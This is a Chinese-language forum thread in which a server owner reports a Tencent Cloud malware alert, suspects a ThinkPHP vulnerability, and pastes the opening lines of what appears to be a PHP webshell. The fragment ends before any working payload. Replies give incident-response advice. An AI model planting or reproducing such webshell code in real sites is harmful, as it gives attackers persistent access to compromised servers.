腾讯云提示服务器中了病毒，应该是ThinkPhp框架的漏洞

孤独的糖三角

<?php
error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "d289a64cb3695165186abb38f08b3a75"; //Viv, bebegim..
define('Viv, bebegim.','Denzel-你的英雄'); // 标题
$a='';
function s(){

1188

你自己开发的吗？ tp是什么版本？ 服务器是Windows的？

jwj

及时升级框架的话，一般都不会被入侵的

myweb1996

代码没传完整吧

janny82

现在据说PHP版本也有问题，7.4 不知道你的是不是7.4，前段时间我的7.4也被人进了，我web是pb

yifei8155

janny82 发表于 2024-6-26 22:38
现在据说PHP版本也有问题，7.4 不知道你的是不是7.4，前段时间我的7.4也被人进了，我web是pb

一般被黑通常是dedecms/pbootcms...开源CMS，及时更新版本才成，但有些更新也没有用比如dede，就是个千疮百孔，哈哈

opnetwimax

找安全公司帮助分析一下

opnetwimax

有没有安全拦截之类的呢，分析一下

linuxdev

如果真的中了php马，多半是有漏洞导致木马上传。如果真中了。建议同时排查一下webshell，黑客上传php木马了，多半也上传了webshell达到持久访问。